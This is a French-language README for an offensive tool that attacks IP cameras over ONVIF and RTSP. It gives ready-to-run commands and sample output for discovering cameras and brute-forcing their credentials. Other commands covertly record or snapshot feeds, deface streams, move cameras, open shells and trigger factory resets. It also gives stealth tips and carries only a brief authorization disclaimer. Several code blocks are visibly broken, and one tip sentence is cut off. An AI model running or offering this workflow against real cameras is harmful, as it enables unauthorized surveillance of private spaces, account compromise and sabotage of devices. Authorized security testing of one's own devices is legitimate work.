logo pwneye

pwneye est un outil de sécurité offensive ciblé et portable pour travailler avec des caméras IP qui exposent des services ONVIF et RTSP, visant à offrir aux chercheurs en sécurité et aux hackers un moyen simple de gérer la découverte, les tests d'authentification, la collecte de métadonnées, la validation des flux, l'enregistrement et les actions de suivi à partir d'un seul flux de travail en ligne de commande.

Certaines des capacités actuellement prises en charge incluent :

Découverte ONVIF sur le réseau local via WS-Discovery
Authentification ONVIF et bruteforce multithread avec des identifiants uniques ou des fichiers de noms d'utilisateur/mots de passe
Énumération ONVIF post-authentification des informations de l'appareil, des utilisateurs configurés, de la configuration réseau, des profils média et des URI de flux RTSP
Redémarrage de la caméra, réinitialisation d'usine et accès à un shell interactif via ONVIF
Mouvement PTZ ONVIF depuis la ligne de commande et le visualiseur dédié
Prise en charge du défacement et de la restauration de flux via ONVIF
Détection du port RTSP et identification du fournisseur basée sur les bannières
Bruteforce RTSP conscient du fournisseur avec plus de 450 profils intégrés d'identifiants / chaînes de connexion de fournisseurs, plus prise en charge manuelle du fournisseur et de la chaîne de connexion
Bruteforce RTSP multithread avec sortie de progression en direct
Gestion multi-canaux RTSP avec détection automatique, énumération guidée et sélection interactive des canaux
Client d'aperçu en direct dédié avec zoom et changement rapide de canal pour les cibles de type DVR/NVR
Validation des flux RTSP, aperçu en direct via ffplay, enregistrement via ffmpeg et capture d'instantanés
Mise en cache par cible des résultats ONVIF et RTSP réussis sous ~/.pwneye

Démo

https://github.com/user-attachments/assets/6913632b-326d-455e-aa0d-be6bf9b3e66c

Installation et mises à jour

pipx

Installez pwneye comme commande CLI système depuis GitHub :```bash pipx install git+https://github.com/Hackerest/pwneye.git pwneye --help

Désinstallez-le :```bash
pipx uninstall pwneye

Mettez-le à niveau plus tard depuis la même source GitHub :```bash pipx upgrade pwneye

### Python```bash
git clone https://github.com/Hackerest/pwneye
cd pwneye
python3 -m venv .venv
source .venv/bin/activate
pip install -r requirements.txt
python3 pwneye.py --help

Upgradez-le plus tard depuis la même source GitHub :```bash cd pwneye git pull source .venv/bin/activate pip install -r requirements.txt

### Dépendances externes

Les outils suivants sont attendus dans `PATH` selon le mode que vous utilisez :
- `ffplay`
- `ffprobe`
- `ffmpeg` pour l’enregistrement

| Plateforme | Commande d’installation |
| --- | --- |
| macOS (Homebrew) | `brew install ffmpeg` |
| Ubuntu / Debian | `sudo apt update && sudo apt install ffmpeg` |
| Fedora | `sudo dnf install ffmpeg ffmpeg-free` |
| Arch Linux | `sudo pacman -S ffmpeg` |
| openSUSE | `sudo zypper install ffmpeg` |

## Pour commencer

Utilisez ces points d’entrée comme les plus rapides pour accéder à l’outil. L’objectif ici n’est pas de documenter chaque option, mais de montrer les manières les plus utiles de commencer à travailler avec une caméra selon ce que vous savez déjà.

Partez du flux de travail complet par défaut lorsque vous avez une seule cible et que vous souhaitez que `pwneye` fasse le travail de sélection du protocole à votre place :```bash
pwneye -t 192.168.1.135

Commencez par la découverte ONVIF lorsque vous êtes sur le même réseau local et souhaitez identifier les appareils, les fournisseurs et les indices de flux avant de toucher au RTSP :```bash pwneye --discover

Commencez directement par RTSP lorsque ONVIF n'est pas pertinent, indisponible, ou que vous savez déjà ce que vous souhaitez tester :```bash
pwneye -t 192.168.1.135 --skip-onvif

Commencez par des identifiants connus ou suspectés lorsque vous souhaitez réduire le bruit et valider rapidement l'accès :```bash pwneye -t 192.168.1.135 --username admin --password admin pwneye -t 192.168.1.135 --username admin --password ~/wordlists/passwords.txt pwneye -t 192.168.1.135 --username ~/wordlists/users.txt --password admin123

Commencez à partir d'un chemin connu ou d'un modèle de chemin lorsque vous disposez déjà d'un indice sur le flux et que vous souhaitez un contrôle précis sur les requêtes RTSP :```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/live/ch00_0"
pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0'

Commencez la collecte de preuves une fois qu’un flux fonctionnel est trouvé :```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --record

Drapeaux utiles à garder en tête :
- `--vendor VENDOR` : réduire les requêtes RTSP lorsque la famille d’appareils est déjà connue
- `-cn, --connection-string PATH` : essayer un chemin RTSP connu ou un fichier contenant des chemins candidats
- `--multi-channel` : privilégier les chemins RTSP basés sur les canaux lorsque vous suspectez une cible de type DVR/NVR
- `--threads N` : contrôler la concurrence pour le brute-force ONVIF et RTSP
- `--skip-onvif` / `--skip-rtsp` : se concentrer sur un seul protocole
- `--no-cache` : ne pas lire ni écrire dans le cache
- `--fresh` : ignorer les lectures du cache mais continuer à écrire les nouveaux résultats

## ONVIF

ONVIF est le côté gestion et contrôle du monde des caméras. En pratique, il est utile pour la découverte, l’authentification, l’extraction de métadonnées, l’énumération des profils média, la récupération des URI de flux et les actions sur l’appareil telles que le redémarrage.

Dans `pwneye`, ONVIF est généralement le protocole qui fournit le contexte post-authentification le plus riche, le chemin le plus clair pour comprendre ce qu’une caméra expose et, lorsque le compte authentifié dispose de privilèges suffisants, l’accès à de véritables actions administratives sur l’appareil.

### Ce que ONVIF vous apporte

Lorsqu’une caméra expose ONVIF, `pwneye` peut l’utiliser pour :

- découvrir les caméras sur le réseau local via WS-Discovery
- tester l’authentification ONVIF à l’aide d’identifiants fixes ou de fichiers
- extraire les métadonnées du fabricant et de l’appareil
- récupérer les URI de flux RTSP exposées par l’appareil
- énumérer le contexte utile post-authentification avant de toucher RTSP de manière plus agressive
- demander un redémarrage authentifié avec `--reboot`
- demander une réinitialisation d’usine authentifiée avec `--reset`
- déplacer une caméra compatible PTZ depuis la CLI ou depuis la visionneuse dédiée
- ouvrir un shell interactif authentifié avec `--shell`
- défigurer le flux via ONVIF avec `--deface`
- restaurer le dernier profil de défiguration enregistré avec `--undeface`

### Énumération du réseau local

Utilisez WS-Discovery pour identifier les appareils compatibles ONVIF sur le réseau local :```
pwneye --discover

[info] Starting continuous ONVIF discovery on the target network
[warning] No network interface was specified. Using en0 (subnet 192.168.1.0/24) for discovery
[success] Discovered 1 new ONVIF device(s) on the target network
[info] Saved ONVIF discovery data to cache for 192.168.1.135 (Tenda)

   Host: 192.168.1.135
   Port: 80
   Protocol: http
   Types: Device
   XAddrs: http://192.168.1.135:80/onvif/device_service
   Manufacturer: Tenda
   Name: CP3Pro
   Hardware: CP3Pro
   MAC: XX:XX:XX:XX:XX:XX
   Country: China
   Profiles: Streaming
   Capabilities: NetworkVideoTransmitter, ptz, video_encoder, audio_encoder

[success] ONVIF discovery stopped by user after identifying 1 device(s)

La boucle de découverte continue de sonder toutes les quelques secondes, n'affiche que les appareils nouvellement découverts, et peut être arrêtée avec CTRL-C.

Vous pouvez également forcer la découverte via une interface réseau spécifique :```bash pwneye --discover en0 pwneye --discover eth0

Lorsqu'aucune interface n'est spécifiée, `pwneye` choisit automatiquement l'interface sortante par défaut et vous indique quel sous-réseau cible il utilise pour la découverte WS-Discovery.

### Forçage brutal des identifiants

Exécutez un forçage brutal limité à ONVIF avec un nom d'utilisateur fixe et un fichier de mots de passe :```
pwneye -t 192.168.1.135 -ou admin -op ~/wordlists/rockyou-short.txt --skip-rtsp --threads 5

[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying ONVIF authentication using user-provided credentials...
[success] 192.168.1.135 supports ONVIF on port 80
[warning] Unable to authenticate via ONVIF using provided credentials
[>] Do you want to extend the test to common ONVIF credentials? [(y)es/(n)o] (default: y): 
[info] No explicit ONVIF credentials specified, trying common ONVIF credentials...
[info] Trying ONVIF authentication using common username(s) and password(s)...
[success] 192.168.1.135 supports ONVIF on port 80
⠼ Trying ONVIF on 192.168.1.135:80 with camera:12345

Options utiles :

--skip-onvif : ignorer la détection et l'énumération ONVIF
-oP, --onvif-port PORT : tester un port ONVIF spécifique
-ou, --onvif-username USER : nom d'utilisateur ONVIF ou fichier contenant un nom d'utilisateur par ligne
-op, --onvif-password PASS : mot de passe ONVIF ou fichier contenant un mot de passe par ligne

Si -ou et -op ne sont pas spécifiés, pwneye revient automatiquement à ses noms d'utilisateur et mots de passe ONVIF courants intégrés.

pwneye met en cache les identifiants ONVIF réussis par cible sous ~/.pwneye/cache et les réutilise lors des exécutions futures, sauf si vous utilisez --fresh ou --no-cache.

Redémarrer une caméra

Si l'authentification ONVIF réussit, vous pouvez demander un redémarrage directement :``` pwneye -t 192.168.1.135 --reboot

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135 [info] Checking if the target (192.168.1.135) is reachable... [info] The target seems to be reachable [info] Trying cached ONVIF credentials for the target... [success] 192.168.1.135 supports ONVIF on port 80 [success] ONVIF connection established using the following configuration:

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[warning] Requesting ONVIF system reboot... [info] ONVIF reboot request sent [info] Checking if the camera is still reachable... [success] The device has been rebooted!

Lorsque `--reboot` est utilisé, la sonde RTSP est ignorée.

### Réinitialisation d'une caméra

Si l'authentification ONVIF réussit, vous pouvez également demander une réinitialisation d'usine directement :```text
pwneye -t 192.168.1.135 --reset

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[>] Do you really want to factory-reset the camera via ONVIF? [(y)es/(n)o] (default: n):
[warning] Requesting ONVIF factory reset...
[info] ONVIF factory reset request sent
[info] Checking if the camera is still reachable...
[warning] The ONVIF factory reset request was sent, but the target still appears to be reachable. Please verify manually that the reset was completed.

Avertissement : cette opération peut être irréversible et peut effacer la configuration actuelle de l'appareil, les identifiants et les paramètres réseau. N'utilisez --reset que lorsque vous comprenez pleinement l'impact et que vous êtes explicitement autorisé à l'effectuer.

Comme avec --reboot, lorsque --reset est utilisé, la sonde RTSP est ignorée.

Déplacer la caméra

Si la cible expose des commandes PTZ via ONVIF, pwneye peut déplacer la caméra à la fois depuis le terminal et depuis la visionneuse en direct dédiée.

Depuis la CLI, utilisez --move avec direction,duration. L'indicateur peut être répété, et les mouvements demandés sont exécutés en séquence tandis que la sonde RTSP est ignorée :```bash pwneye -t 192.168.1.135 --move right,2 pwneye -t 192.168.1.135 --move right,2 --move up,1 --move down,3 pwneye -t 192.168.1.135 --move r,2 --move u,1 --move d,3

Les directions acceptées sont :

- `gauche` ou `g`
- `droite` ou `d`
- `haut` ou `h`
- `bas` ou `b`

Exemple :```text
pwneye -t 192.168.1.135 --move r,2 --move u,1

...
[info] Trying cached ONVIF credentials for the target...
...
[success] ONVIF connection established using the following configuration:
...

[info] Requesting ONVIF PTZ move to right for 2.00 second(s)...
[info] The ONVIF move command was accepted
[info] Requesting ONVIF PTZ move to up for 1.00 second(s)...
[info] The ONVIF move command was accepted
[success] The camera has been moved!

Dans la visionneuse dédiée, si le PTZ est pris en charge, la vue focalisée vous permet également de déplacer la caméra de manière interactive avec W, A, S et D. Cela est utile lorsque vous disposez déjà d’un flux fonctionnel et que vous souhaitez un retour visuel direct tout en réglant l’appareil.

Défigurer un flux

Si l’authentification ONVIF réussit, pwneye peut également tenter de défigurer le flux directement :```bash pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

Ce que fait `--deface`, en bref :

- il vérifie d'abord si la cible prend en charge l'assombrissement du flux via ONVIF Imaging
- il vérifie également si la cible expose des couches de texte ONVIF réutilisables
- si les deux sont disponibles, `pwneye` effectue une défiguration complète
- si un seul côté est disponible, `pwneye` avertit l'utilisateur et propose une défiguration partielle à la place
- avant de modifier quoi que ce soit, `pwneye` enregistre un profil de restauration pour la cible sous `~/.pwneye/cache`

L'implémentation est volontairement prudente et compatible avec les fournisseurs :

- pour l'étape d'assombrissement, `pwneye` réduit les contrôles d'imagerie pris en charge tels que la luminosité, le contraste et la saturation au lieu de s'appuyer sur des astuces spécifiques au fournisseur
- pour l'étape de texte, `pwneye` réutilise les couches de texte ONVIF existantes et inscriptibles plutôt que de créer ou supprimer de nouvelles entrées OSD
- cela rend la fonctionnalité plus compatible entre différentes familles de caméras, même si le résultat visuel final dépend toujours du firmware

Exemple :```text
pwneye -t 192.168.1.135 --deface "THIS CAMERA IS EXPOSED"

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Inspecting ONVIF deface capabilities...
[info] The target supports ONVIF deface
[>] Do you want to proceed with the deface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to deface the target stream with THIS CAMERA IS EXPOSED
[info] A backup profile is being created for future restorations...
[success] Backup profile saved successfully to /Users/user/.pwneye/cache/192.168.1.135.yaml
[info] Trying to darken the stream...
[success] The stream was darkened successfully
[info] Trying to replace the current on-stream text with THIS CAMERA IS EXPOSED
[info] Verifying the text update...
[success] The target stream has been defaced!
[info] To restore the previous configuration, run the tool again with --undeface

Espace réservé de défiguration

Annulation de la défiguration d’un flux

Si une exécution précédente de --deface a enregistré un profil de restauration pour la cible, pwneye peut l’utiliser pour restaurer l’état ONVIF d’origine :```bash pwneye -t 192.168.1.135 --undeface

Voici ce que fait `--undeface`, en bref :

- il recherche un profil de restauration de déface précédemment enregistré dans l'entrée de cache de la cible
- si aucun profil n'existe, il s'arrête immédiatement avec une erreur
- si un profil existe, il tente de restaurer les paramètres d'Imaging d'origine et les couches de texte modifiables d'origine
- comme avec `--deface`, le résultat final peut être complet ou partiel selon ce que la cible autorise via ONVIF

Le profil de restauration n'est pas supprimé après un `--undeface` réussi. Il reste dans le cache jusqu'à ce qu'un futur `--deface` le remplace par un profil plus récent.

Exemple :```text
pwneye -t 192.168.1.135 --undeface

[info] Found cached ONVIF/RTSP credential(s) for 192.168.1.135
[info] Checking if the target (192.168.1.135) is reachable...
[info] The target seems to be reachable
[info] Trying cached ONVIF credentials for the target...
[success] 192.168.1.135 supports ONVIF on port 80
[success] ONVIF connection established using the following configuration:

   Port: 80
   ONVIF Username: admin
   ONVIF Password: Hackerest1

[info] Looking for a saved deface profile for this target...
[info] A saved deface profile was found at /Users/user/.pwneye/cache/192.168.1.135.yaml
[>] Do you want to proceed with the undeface attempt? [(y)es/(n)o] (default: n): y
[warning] Trying to restore the target stream...
[info] Trying to restore the original stream brightness profile...
[success] The original stream brightness profile was restored successfully
[info] Trying to restore the original on-stream text...
[success] The original on-stream text was restored successfully
[success] The target stream has been restored!

Obtenir un shell

Si l'authentification ONVIF réussit, pwneye peut également vous placer directement dans un shell ONVIF interactif. Cela est utile lorsque vous souhaitez inspecter les services, appeler des méthodes manuellement, explorer les capacités ou tester des opérations spécifiques à la cible sans quitter le flux de travail actuel.

Exemple :```text pwneye -t 192.168.1.135 --shell

Port: 80 ONVIF Username: admin ONVIF Password: Hackerest1

[info] Opening the interactive ONVIF shell...

This feature is powered by https://github.com/nirsimetri/onvif-python (leave it a ⭐!) Use TAB for completion and help for commands.

[email protected]:80 > ls analytics events media2 pullpoint ruleengine capabilities help store cls debug pwd type deviceio imaging notification recording search caps exit rm clear ls shortcuts devicemgmt media ptz replay subscription services quit show info cd desc

## RTSP

RTSP est le volet streaming du monde des caméras. C'est le protocole qui fournit généralement le flux vidéo en direct, mais c'est aussi le plus fragmenté : les fournisseurs utilisent des chemins différents, des conventions de canaux, des particularités d'authentification et des formats de bannières variés.

Dans `pwneye`, la gestion RTSP est construite autour de la découverte de ports, de la récupération de bannières, de la sélection de chemins selon le fournisseur, de l'orchestration du bruteforce, de la validation des flux, de l'aperçu et de l'enregistrement.

### Ce que RTSP vous apporte

RTSP est la partie du flux de travail qui confirme si vous pouvez réellement accéder à un flux. Dans `pwneye`, cela signifie :

- détecter RTSP sur des ports courants ou spécifiés par l'utilisateur
- récupérer les bannières et tenter d'identifier le fournisseur automatiquement
- bruteforcer les identifiants sur des chemins adaptés au fournisseur ou fournis par l'utilisateur
- valider les flux fonctionnels avant de les ouvrir
- enregistrer les flux ou capturer des instantanés comme preuve
- énumérer plusieurs canaux lorsque la cible se comporte comme un DVR ou un NVR

### Identification du fournisseur

`pwneye` tentera d'identifier automatiquement le fournisseur RTSP via la récupération de bannières RTSP avant de recourir à une énumération de chemins plus large.

Si l'identification automatique basée sur les bannières échoue et que vous connaissez déjà le fournisseur grâce à une analyse préalable, vous pouvez le transmettre directement pour réduire considérablement le nombre de requêtes :```bash
pwneye -t 192.168.1.135 --vendor tenda

Vous pouvez également récupérer uniquement la bannière RTSP et quitter :``` pwneye -t 192.168.1.135 --skip-onvif --banner

... [info] RTSP service detected on port(s): 554 [success] RTSP banner on port 554: Hipcam RealServer/V1.0

Options utiles :
- `--skip-rtsp` : ignorer la détection RTSP et le bruteforce
- `-P, --rtsp-port PORT` : tester un port RTSP spécifique
- `--vendor VENDOR` : forcer un fournisseur depuis la base de données RTSP
- `--list-vendors` : afficher les fournisseurs pris en charge par la base de connaissances RTSP puis quitter
- `--protocol tcp|udp` : choisir le transport RTSP, par défaut `tcp`
- `--timeout SECONDS` : délai d’attente RTSP, par défaut `10`

### Bruteforce RTSP

Bruteforce RTSP avec des identifiants fixes :```bash
pwneye -t 192.168.1.135 --username admin --password admin

Rotatez uniquement les noms d'utilisateur avec un mot de passe fixe :```bash pwneye -t 192.168.1.135 --password 'SuperSecretPass' --vendor hikvision --threads 10

Essayez une chaîne de connexion RTSP fournie par l’utilisateur :```bash
pwneye -t 192.168.1.135 --skip-onvif -cn "/11"
pwneye -t 192.168.1.135 --skip-onvif -cn "/cam/realmonitor?channel=1&subtype=0"

Chargez les chaînes de connexion candidates depuis le fichier :```bash pwneye -t 192.168.1.135 --skip-onvif -cn paths.txt

Combinez un chemin manuel avec des identifiants fixes :```bash
pwneye -t 192.168.1.135 --skip-onvif -u admin -p admin -cn "/live/ch00_0"

Prefer multi-channel paths when the target is likely a DVR/NVR:```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel

Options utiles :
- `-u, --username USER` : nom d'utilisateur RTSP ou fichier contenant un nom d'utilisateur par ligne
- `-p, --password PASS` : mot de passe RTSP ou fichier contenant un mot de passe par ligne
- `-cn, --connection-string PATH` : chaîne de connexion RTSP ou fichier contenant une chaîne de connexion par ligne
- `--multi-channel` : privilégier les chaînes de connexion RTSP multi-canaux lorsqu'elles sont disponibles
- `--threads N` : nombre de threads concurrents utilisés par le moteur de bruteforce

Si `-u` et `-p` ne sont pas spécifiés, `pwneye` revient automatiquement à ses noms d'utilisateur et mots de passe RTSP courants intégrés.

`pwneye` met en cache les identifiants RTSP valides et les métadonnées de flux validées par cible dans `~/.pwneye/cache`.

Comportement du cache :
- par défaut : réutiliser les résultats valides mis en cache avant d'exécuter un nouveau bruteforce
- `--fresh` : ignorer les résultats en cache mais mettre à jour le cache avec les nouveaux résultats
- `--no-cache` : désactiver à la fois les lectures et les écritures du cache

### Flux multi-canaux

Certaines caméras, DVR et NVR exposent plusieurs canaux RTSP logiques au lieu d'un seul chemin statique. Les exemples typiques incluent des modèles tels que :```text
rtsp://IP:554/?chID=1&streamType=main&linkType=tcp
rtsp://IP:554/cam/realmonitor?channel=1&subtype=0

pwneye peut détecter cela automatiquement lors du sondage RTSP, y compris grâce à la base de connaissances RTSP basée sur les fournisseurs, mais vous pouvez aussi orienter le processus explicitement :

--multi-channel indique à pwneye de privilégier les chemins RTSP basés sur les canaux issus de la base de connaissances
--connection-string vous permet de fournir votre propre modèle de canal, avec des espaces réservés tels que {channel}
la même logique de modèle fonctionne également lorsque les chaînes de connexion proviennent d'un fichier
une fois plusieurs canaux trouvés, pwneye peut ouvrir soit un flux unique, soit une visionneuse multi-canaux dédiée dans une seule fenêtre

Exemples :```bash pwneye -t 192.168.1.135 --skip-onvif --multi-channel pwneye -t 192.168.1.135 --skip-onvif -cn '/cam/realmonitor?channel={channel}&subtype=0' pwneye -t 192.168.1.135 --skip-onvif -cn channel_paths.txt

Échantillon de sortie :```text
[info] Enumerating RTSP channels using the validated connection template...
[info] Press CTRL-C to stop channel enumeration and choose from the channels found
[success] RTSP channel 2 is valid
[success] RTSP channel 3 is valid
[warning] RTSP channel enumeration interrupted by user. Using the channels discovered so far

   [0] Open all discovered channels in a dedicated client
   [1] Channel 1: rtsp://192.168.1.135:554/cam/realmonitor?channel=1&subtype=0
   [2] Channel 2: rtsp://192.168.1.135:554/cam/realmonitor?channel=2&subtype=0
   [3] Channel 3: rtsp://192.168.1.135:554/cam/realmonitor?channel=3&subtype=0

[>] Select channel (CTRL-C to exit):

Si vous choisissez Open all discovered channels, pwneye lance un client multicanal dédié qui conserve tous les flux découverts dans une seule fenêtre. Chaque flux est affiché dans la mosaïque sous forme d'aperçu en direct, et un clic sur une vignette fait passer ce canal à une vue agrandie et focalisée, avec une simple action Back pour revenir à la grille.

pwneye dedicated multi-channel client demo

Par défaut, l'aperçu RTSP en direct utilise le client dédié pwneye. Si vous préférez le flux de travail classique avec le lecteur système, vous pouvez ajouter --legacy pour ouvrir le flux validé avec ffplay.

Lorsque le client dédié est ouvert, vous pouvez également déclencher Snapshot et Record directement depuis la vue focalisée sans quitter l'interface graphique. Cela est utile lorsque vous souhaitez d'abord inspecter un flux, puis décider seulement ensuite de sauvegarder une image fixe ou de commencer l'enregistrement de preuves.

Streaming, enregistrement et captures d'écran

Ouvrez un flux validé avec aperçu en direct :```bash pwneye -t 192.168.1.135 --vendor tenda

Enregistrez un flux RTSP validé avec aperçu :```bash
pwneye -t 192.168.1.135 --record
pwneye -t 192.168.1.135 --record living-room.mp4

Capturez une capture d’écran au lieu d’un enregistrement complet :```bash pwneye -t 192.168.1.135 --snapshot pwneye -t 192.168.1.135 --snapshot living-room.jpg

Enregistrer sans ouvrir la fenêtre d'aperçu :```
pwneye -t 192.168.1.135 --record living-room.mp4 --no-video

...
[info] Recording RTSP stream to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4
[info] Press CTRL-C to stop the recording
[warning] Retrying MP4 finalization in compatibility mode (transcoding)...
[success] Recording saved to /Users/user/.pwneye/recordings/192.168.1.135/2026-04-14_20-25-03.mp4 (5.75 MB)

Comportement d’enregistrement :

--record [OUTPUT.mp4] : enregistre le flux RTSP validé ; si omis, un fichier horodaté est créé sous ~/.pwneye/recordings
--snapshot [OUTPUT.jpg] : enregistre une image fixe du flux RTSP validé ; si omis, un fichier horodaté est créé sous ~/.pwneye/snapshots
--no-video : ignore l’aperçu en direct et le décodage
le visualiseur dédié expose également les actions Snapshot et Record directement dans la vue focalisée
les enregistrements par défaut sont stockés sous ~/.pwneye/recordings/<target>/
les instantanés par défaut sont stockés sous ~/.pwneye/snapshots/<target>/

Trucs et astuces

Si pwneye était un jeu vidéo, voici probablement les astuces que vous verriez sur l’écran de chargement :

Une interface web solide ne signifie pas une caméra sécurisée : une caméra dotée d’une interface web bien protégée n’est pas nécessairement bien protégée dans son ensemble. Il est courant de trouver un verrouillage web robuste alors que le RTSP reste non authentifié ou accepte un nombre de tentatives effectivement illimité.
Utilisez la découverte quand vous le pouvez : si --discover fonctionne sur le réseau local, utilisez-la en premier. Les informations sur le fabricant, les métadonnées de l’appareil et les résultats en cache peuvent rendre le travail RTSP ultérieur beaucoup plus discret et fiable.
ONVIF en premier peut être le choix le plus judicieux : ONVIF et RTSP partagent souvent les mêmes identifiants. Si ONVIF est exposé, il est généralement plus judicieux de forcer ce côté en premier avec --skip-rtsp plutôt que de marteler directement le RTSP et de rendre le flux instable. Lorsque pwneye trouve des identifiants ONVIF valides, il tente de les réutiliser automatiquement sur le RTSP.
Les fabricants connus réduisent le bruit : si vous connaissez déjà le fabricant, transmettez --vendor explicitement. Cela réduit les requêtes et peut aider à maintenir la stabilité des cibles fragiles.
Les chemins connus valent mieux que l’aveugle : si vous connaissez ou soupçonnez déjà le chemin, utilisez --connection-string plutôt qu’une énumération RTSP large. Cela vous donne un contrôle plus précis sur l’ensemble des requêtes et rend les échecs plus faciles à interpréter.
Un enregistreur peut exposer plus d’un flux : si une cible ressemble à un DVR/NVR, essayez --multi-channel ou un modèle de canal manuel avant de supposer qu’elle n’expose qu’un seul flux.
Le redémarrage peut être une étape de récupération : si vous disposez d’identifiants RTSP valides mais ne pouvez toujours pas ouvrir la vidéo, le flux peut simplement être instable après des sondages répétés. Si vous avez également un accès ONVIF, une étape de récupération brutale mais souvent efficace est .

Remerciements

Un merci tout particulier à @kaburagisec pour onvif-python, la bibliothèque ONVIF utilisée par pwneye. Elle a rendu le côté ONVIF de ce projet considérablement plus facile et plus fiable.

Merci à Darix Deros pour son aide lors des tests et pour avoir partagé plusieurs suggestions utiles qui ont amélioré certaines parties de l’outil, notamment le flux de travail de découverte ONVIF.

Sécurité

Utilisez pwneye uniquement contre des actifs qui vous appartiennent ou pour lesquels vous êtes explicitement autorisé à effectuer une évaluation.

Cet outil peut énumérer des services, tester l’authentification, ouvrir des flux, enregistrer de la vidéo, interagir avec les fonctions administratives ONVIF et, avec des privilèges suffisants, redémarrer, réinitialiser, défigurer ou autrement modifier le comportement d’un appareil cible.

Même lorsque votre objectif est uniquement la collecte de preuves, des sondages RTSP répétés peuvent rendre des caméras fragiles instables, et les actions ONVIF peuvent avoir un impact opérationnel immédiat.

Licence

Ce projet est distribué sous la licence GNU GPL3. Voir LICENSE.md.

Populaires

pwneye